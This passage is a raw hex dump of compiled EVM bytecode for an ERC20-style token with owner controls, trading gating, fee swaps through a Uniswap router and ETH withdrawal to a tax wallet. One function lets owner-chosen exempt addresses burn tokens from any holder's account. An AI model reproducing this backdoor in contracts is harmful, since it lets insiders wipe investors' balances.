060405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200044f620006d260201b60201c565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fad22d9ba9fa1529c37c1e8430efeb6b85f3f0c1b76ad863f292b411b439d824982604051620004ee919062000bcc565b60405180910390a25050565b6200050a620006d260201b60201c565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005d7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005ce9062000c4a565b60405180910390fd5b620005eb600083836200076360201b60201c565b8060026000828254620005ff919062000c6c565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006b2919062000cb8565b60405180910390a3620006ce600083836200076860201b60201c565b5050565b620006e26200034760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620007086200041560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007589062000d25565b60405180910390fd5b565b505050565b505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007b3826200076d565b9150620007c0836200076d565b9250828202620007d0816200076d565b91508282048414831517620007ea57620007e962000777565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200082d826200076d565b91506200083a836200076d565b9250826200084d576200084c620007f1565b5b828204905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008da57607f821691505b602082108103620008f057620008ef62000892565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200095a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200091b565b6200096686836200091b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009a9620009a36200099d846200076d565b6200097e565b6200076d565b9050919050565b6000819050919050565b620009c58362000988565b620009dd620009d482620009b0565b84845462000928565b825550505050565b600090565b620009f4620009e5565b62000a01818484620009ba565b505050565b5b8181101562000a295762000a1d600082620009ea565b60018101905062000a07565b5050565b601f82111562000a785762000a4281620008f6565b62000a4d846200090b565b8101602085101562000a5d578190505b62000a7562000a6c856200090b565b83018262000a06565b50505b505050565b600082821c905092915050565b600062000a9d6000198460080262000a7d565b1980831691505092915050565b600062000ab8838362000a8a565b9150826002028217905092915050565b62000ad38262000858565b67ffffffffffffffff81111562000aef5762000aee62000863565b5b62000afb8254620008c1565b62000b0882828562000a2d565b600060209050601f83116001811462000b40576000841562000b2b578287015190505b62000b37858262000aaa565b86555062000ba7565b601f19841662000b5086620008f6565b60005b8281101562000b7a5784890151825560018201915060208501945060208101905062000b53565b8683101562000b9a578489015162000b96601f89168262000a8a565b8355505b6001600288020188555050505b505050505050565b60008115159050919050565b62000bc68162000baf565b82525050565b600060208201905062000be3600083018462000bbb565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c32601f8362000be9565b915062000c3f8262000bfa565b602082019050919050565b6000602082019050818103600083015262000c658162000c23565b9050919050565b600062000c79826200076d565b915062000c86836200076d565b925082820190508082111562000ca15762000ca062000777565b5b92915050565b62000cb2816200076d565b82525050565b600060208201905062000ccf600083018462000ca7565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000d0d60208362000be9565b915062000d1a8262000cd5565b602082019050919050565b6000602082019050818103600083015262000d408162000cfe565b9050919050565b613e6a8062000d576000396000f3fe6080604052600436106102345760003560e01c80637571336a1161012e578063c8c8ebe4116100ab578063e2f456051161006f578063e2f4560514610819578063f2fde38b14610844578063f724fb481461086d578063f8b45b0514610884578063ffb54a99146108af5761023b565b8063c8c8ebe414610744578063c9567bf91461076f578063cf9522fd14610786578063dd62ed3e146107b1578063dd854652146107ee5761023b565b8063a457c2d7116100f2578063a457c2d71461064f578063a9059cbb1461068c578063afa4f3b2146106c9578063b70143c9146106f2578063c18bc1951461071b5761023b565b80637571336a146105905780638da5cb5b146105b95780638e3b9133146105e457806395d89b41146105fb5780639a7a23d6146106265761023b565b806339509351116101bc578063583e056811610180578063583e0568146104bd5780635984e2da146104e85780636ddd17131461051157806370a082311461053c578063715018a6146105795761023b565b806339509351146103c25780633ff52513146103ff578063414a87861461042a57806349bd5a5e146104555780634fbee193146104805761023b565b80631816467f116102035780631816467f146102dd5780631cc8cd4c1461030657806323b872dd1461032f578063311028af1461036c578063313ce567146103975761023b565b806302ac81681461024057806306fdde031461024a578063095ea7b31461027557806318160ddd146102b25761023b565b3661023b57005b600080fd5b6102486108da565b005b34801561025657600080fd5b5061025f610beb565b60405161026c9190612c92565b60405180910390f35b34801561028157600080fd5b5061029c60048036038101906102979190612d4d565b610c7d565b6040516102a99190612da8565b60405180910390f35b3480156102be57600080fd5b506102c7610ca0565b6040516102d49190612dd2565b60405180910390f35b3480156102e957600080fd5b5061030460048036038101906102ff9190612ded565b610caa565b005b34801561031257600080fd5b5061032d60048036038101906103289190612e46565b610d72565b005b34801561033b57600080fd5b5061035660048036038101906103519190612e86565b610e23565b6040516103639190612da8565b60405180910390f35b34801561037857600080fd5b50610381610e52565b60405161038e9190612dd2565b60405180910390f35b3480156103a357600080fd5b506103ac610e58565b6040516103b99190612ef5565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e49190612d4d565b610e61565b6040516103f69190612da8565b60405180910390f35b34801561040b57600080fd5b50610414610e98565b6040516104219190612dd2565b60405180910390f35b34801561043657600080fd5b5061043f610e9e565b60405161044c9190612dd2565b60405180910390f35b34801561046157600080fd5b5061046a610ea4565b6040516104779190612f1f565b60405180910390f35b34801561048c57600080fd5b506104a760048036038101906104a29190612ded565b610eca565b6040516104b49190612da8565b60405180910390f35b3480156104c957600080fd5b506104d2610f20565b6040516104df9190612f99565b60405180910390f35b3480156104f457600080fd5b5061050f600480360381019061050a9190612d4d565b610f46565b005b34801561051d57600080fd5b50610526610f66565b6040516105339190612da8565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190612ded565b610f79565b6040516105709190612dd2565b60405180910390f35b34801561058557600080fd5b5061058e610fc1565b005b34801561059c57600080fd5b506105b760048036038101906105b29190612e46565b610fd5565b005b3480156105c557600080fd5b506105ce611038565b6040516105db9190612f1f565b60405180910390f35b3480156105f057600080fd5b506105f9611062565b005b34801561060757600080fd5b50610610611087565b60405161061d9190612c92565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612e46565b611119565b005b34801561065b57600080fd5b5061067660048036038101906106719190612d4d565b6111bf565b6040516106839190612da8565b60405180910390f35b34801561069857600080fd5b506106b360048036038101906106ae9190612d4d565b611236565b6040516106c09190612da8565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190612fb4565b611259565b005b3480156106fe57600080fd5b5061071960048036038101906107149190612fb4565b61127e565b005b34801561072757600080fd5b50610742600480360381019061073d9190612fb4565b611366565b005b34801561075057600080fd5b50610759611401565b6040516107669190612dd2565b60405180910390f35b34801561077b57600080fd5b50610784611407565b005b34801561079257600080fd5b5061079b611497565b6040516107a89190612dd2565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d39190612fe1565b61149d565b6040516107e59190612dd2565b60405180910390f35b3480156107fa57600080fd5b50610803611524565b6040516108109190612dd2565b60405180910390f35b34801561082557600080fd5b5061082e61152a565b60405161083b9190612dd2565b60405180910390f35b34801561085057600080fd5b5061086b60048036038101906108669190612ded565b611530565b005b34801561087957600080fd5b506108826115b3565b005b34801561089057600080fd5b506108996116a0565b6040516108a69190612dd2565b60405180910390f35b3480156108bb57600080fd5b506108c46116a6565b6040516108d19190612da8565b60405180910390f35b6108e26116b9565b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610964600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610fd5565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f59190613036565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190613036565b6040518363ffffffff1660e01b8152600401610abf929190613063565b6020604051808303816000875af1158015610ade573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b029190613036565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6f600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610fd5565b610b9c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611737565b610be930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6117d8565b565b606060038054610bfa906130bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610c26906130bb565b8015610c735780601f10610c4857610100808354040283529160200191610c73565b820191906000526020600020905b815481529060010190602001808311610c5657829003601f168201915b5050505050905090565b600080610c886119a1565b9050610c958185856117d8565b600191505092915050565b6000600254905090565b610cb26116b9565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d7a6116b9565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fad22d9ba9fa1529c37c1e8430efeb6b85f3f0c1b76ad863f292b411b439d824982604051610e179190612da8565b60405180910390a25050565b600080610e2e6119a1565b9050610e3b8582856119a9565b610e46858585611a35565b60019150509392505050565b600a5481565b60006012905090565b600080610e6c6119a1565b9050610e8d818585610e7e858961149d565b610e88919061311b565b6117d8565b600191505092915050565b60125481565b60115481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f4f33610eca565b610f5857600080fd5b610f628282612377565b5050565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fc96116b9565b610fd36000612544565b565b610fdd6116b9565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61106a6116b9565b6000611074610ca0565b905080600b8190555080600c8190555050565b606060048054611096906130bb565b80601f01602080910402602001604051908101604052809291908181526020018280546110c2906130bb565b801561110f5780601f106110e45761010080835404028352916020019161110f565b820191906000526020600020905b8154815290600101906020018083116110f257829003601f168201915b5050505050905090565b6111216116b9565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a8906131c1565b60405180910390fd5b6111bb8282611737565b5050565b6000806111ca6119a1565b905060006111d8828661149d565b90508381101561121d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121490613253565b60405180910390fd5b61122a82868684036117d8565b60019250505092915050565b6000806112416119a1565b905061124e818585611a35565b600191505092915050565b6112616116b9565b670de0b6b3a7640000816112759190613273565b600d8190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112bf6119a1565b73ffffffffffffffffffffffffffffffffffffffff16146112df57600080fd5b60006112e9610ca0565b905060006112f630610f79565b90506000606484846113089190613273565b61131291906132e4565b905080821015611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90613361565b60405180910390fd5b6113608161260a565b50505050565b61136e6116b9565b670de0b6b3a76400006103e86001611384610ca0565b61138e9190613273565b61139891906132e4565b6113a291906132e4565b8110156113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113db906133f3565b60405180910390fd5b670de0b6b3a7640000816113f89190613273565b600c8190555050565b600b5481565b61140f6116b9565b600e60009054906101000a900460ff161561145f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114569061345f565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff021916908315150217905550565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d5481565b6115386116b9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e906134f1565b60405180910390fd5b6115b081612544565b50565b600047116115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed9061355d565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116376119a1565b73ffffffffffffffffffffffffffffffffffffffff161461165757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561169d573d6000803e3d6000fd5b50565b600c5481565b600e60009054906101000a900460ff1681565b6116c16119a1565b73ffffffffffffffffffffffffffffffffffffffff166116df611038565b73ffffffffffffffffffffffffffffffffffffffff1614611735576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172c906135c9565b60405180910390fd5b565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183e9061365b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ad906136ed565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119949190612dd2565b60405180910390a3505050565b600033905090565b60006119b5848461149d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611a2f5781811015611a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1890613759565b60405180910390fd5b611a2e84848484036117d8565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9b906137eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a9061387d565b60405180910390fd5b60008103611b2c57611b278383600061286f565b612372565b611b34611038565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ba25750611b72611038565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdb5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c15575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2e5750600960149054906101000a900460ff16155b1561201157600e60009054906101000a900460ff16611d2857601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ce85750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1e906138e9565b60405180910390fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dcb5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e7257600b54811115611e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0c9061397b565b60405180910390fd5b600c54611e2183610f79565b82611e2c919061311b565b1115611e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e64906139e7565b60405180910390fd5b612010565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f155750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f6457600b54811115611f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5690613a79565b60405180910390fd5b61200f565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661200e57600c54611fc183610f79565b82611fcc919061311b565b111561200d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612004906139e7565b60405180910390fd5b5b5b5b5b600061201c30610f79565b90506000808211905080801561203e5750600e60019054906101000a900460ff165b80156120575750600960149054906101000a900460ff16155b80156120ad5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121035750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121595750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561219e576001600960146101000a81548160ff02191690831515021790555061218283612ae5565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16159050601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122545750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561225e57600090505b6000811561236257601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122fd576122f66013546122c9601254612b83565b6122d39190613273565b6122e860105488612bcc90919063ffffffff16565b612be290919063ffffffff16565b905061233e565b61233b60135461230e601154612b83565b6123189190613273565b61232d600f5488612bcc90919063ffffffff16565b612be290919063ffffffff16565b90505b60008111156123535761235287308361286f565b5b808561235f9190613a99565b94505b61236d87878761286f565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dd90613b3f565b60405180910390fd5b6123f282600083612bf8565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f90613bd1565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161252b9190612dd2565b60405180910390a361253f83600084612bfd565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561262757612626613bf1565b5b6040519080825280602002602001820160405280156126555781602001602082028036833780820191505090505b509050308160008151811061266d5761266c613c20565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612714573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127389190613036565b8160018151811061274c5761274b613c20565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127b330600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117d8565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612839959493929190613d48565b600060405180830381600087803b15801561285357600080fd5b505af1158015612867573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d5906137eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361294d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129449061387d565b60405180910390fd5b612958838383612bf8565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156129de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d590613e14565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612acc9190612dd2565b60405180910390a3612adf848484612bfd565b50505050565b6000612af030610f79565b90506000808203612b02575050612b80565b600082118015612b135750600d5482105b15612b2057819050612b74565b6000612b4a6064612b3c60105487612bcc90919063ffffffff16565b612be290919063ffffffff16565b90508084612b589190613a99565b9350600d54841115612b6e57600d549150612b72565b8391505b505b612b7d8161260a565b50505b50565b600080612b9161dead610f79565b118015612b9e5750600082115b612ba9576001612bc5565b60646001601354612bba9190613a99565b612bc491906132e4565b5b9050919050565b60008183612bda9190613273565b905092915050565b60008183612bf091906132e4565b905092915050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c3c578082015181840152602081019050612c21565b60008484015250505050565b6000601f19601f8301169050919050565b6000612c6482612c02565b612c6e8185612c0d565b9350612c7e818560208601612c1e565b612c8781612c48565b840191505092915050565b60006020820190508181036000830152612cac8184612c59565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ce482612cb9565b9050919050565b612cf481612cd9565b8114612cff57600080fd5b50565b600081359050612d1181612ceb565b92915050565b6000819050919050565b612d2a81612d17565b8114612d3557600080fd5b50565b600081359050612d4781612d21565b92915050565b60008060408385031215612d6457612d63612cb4565b5b6000612d7285828601612d02565b9250506020612d8385828601612d38565b9150509250929050565b60008115159050919050565b612da281612d8d565b82525050565b6000602082019050612dbd6000830184612d99565b92915050565b612dcc81612d17565b82525050565b6000602082019050612de76000830184612dc3565b92915050565b600060208284031215612e0357612e02612cb4565b5b6000612e1184828501612d02565b91505092915050565b612e2381612d8d565b8114612e2e57600080fd5b50565b600081359050612e4081612e1a565b92915050565b60008060408385031215612e5d57612e5c612cb4565b5b6000612e6b85828601612d02565b9250506020612e7c85828601612e31565b9150509250929050565b600080600060608486031215612e9f57612e9e612cb4565b5b6000612ead86828701612d02565b9350506020612ebe86828701612d02565b9250506040612ecf86828701612d38565b9150509250925092565b600060ff82169050919050565b612eef81612ed9565b82525050565b6000602082019050612f0a6000830184612ee6565b92915050565b612f1981612cd9565b82525050565b6000602082019050612f346000830184612f10565b92915050565b6000819050919050565b6000612f5f612f5a612f5584612cb9565b612f3a565b612cb9565b9050919050565b6000612f7182612f44565b9050919050565b6000612f8382612f66565b9050919050565b612f9381612f78565b82525050565b6000602082019050612fae6000830184612f8a565b92915050565b600060208284031215612fca57612fc9612cb4565b5b6000612fd884828501612d38565b91505092915050565b60008060408385031215612ff857612ff7612cb4565b5b600061300685828601612d02565b925050602061301785828601612d02565b9150509250929050565b60008151905061303081612ceb565b92915050565b60006020828403121561304c5761304b612cb4565b5b600061305a84828501613021565b91505092915050565b60006040820190506130786000830185612f10565b6130856020830184612f10565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806130d357607f821691505b6020821081036130e6576130e561308c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061312682612d17565b915061313183612d17565b9250828201905080821115613149576131486130ec565b5b92915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006131ab603983612c0d565b91506131b68261314f565b604082019050919050565b600060208201905081810360008301526131da8161319e565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061323d602583612c0d565b9150613248826131e1565b604082019050919050565b6000602082019050818103600083015261326c81613230565b9050919050565b600061327e82612d17565b915061328983612d17565b925082820261329781612d17565b915082820484148315176132ae576132ad6130ec565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132ef82612d17565b91506132fa83612d17565b92508261330a576133096132b5565b5b828204905092915050565b7f4e6f7420656e6f75676820746f6b656e73000000000000000000000000000000600082015250565b600061334b601183612c0d565b915061335682613315565b602082019050919050565b6000602082019050818103600083015261337a8161333e565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c6574206c6f776572207468616e60008201527f20302e3125000000000000000000000000000000000000000000000000000000602082015250565b60006133dd602583612c0d565b91506133e882613381565b604082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613449601783612c0d565b915061345482613413565b602082019050919050565b600060208201905081810360008301526134788161343c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006134db602683612c0d565b91506134e68261347f565b604082019050919050565b6000602082019050818103600083015261350a816134ce565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000613547601683612c0d565b915061355282613511565b602082019050919050565b600060208201905081810360008301526135768161353a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135b3602083612c0d565b91506135be8261357d565b602082019050919050565b600060208201905081810360008301526135e2816135a6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613645602483612c0d565b9150613650826135e9565b604082019050919050565b6000602082019050818103600083015261367481613638565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006136d7602283612c0d565b91506136e28261367b565b604082019050919050565b60006020820190508181036000830152613706816136ca565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613743601d83612c0d565b915061374e8261370d565b602082019050919050565b6000602082019050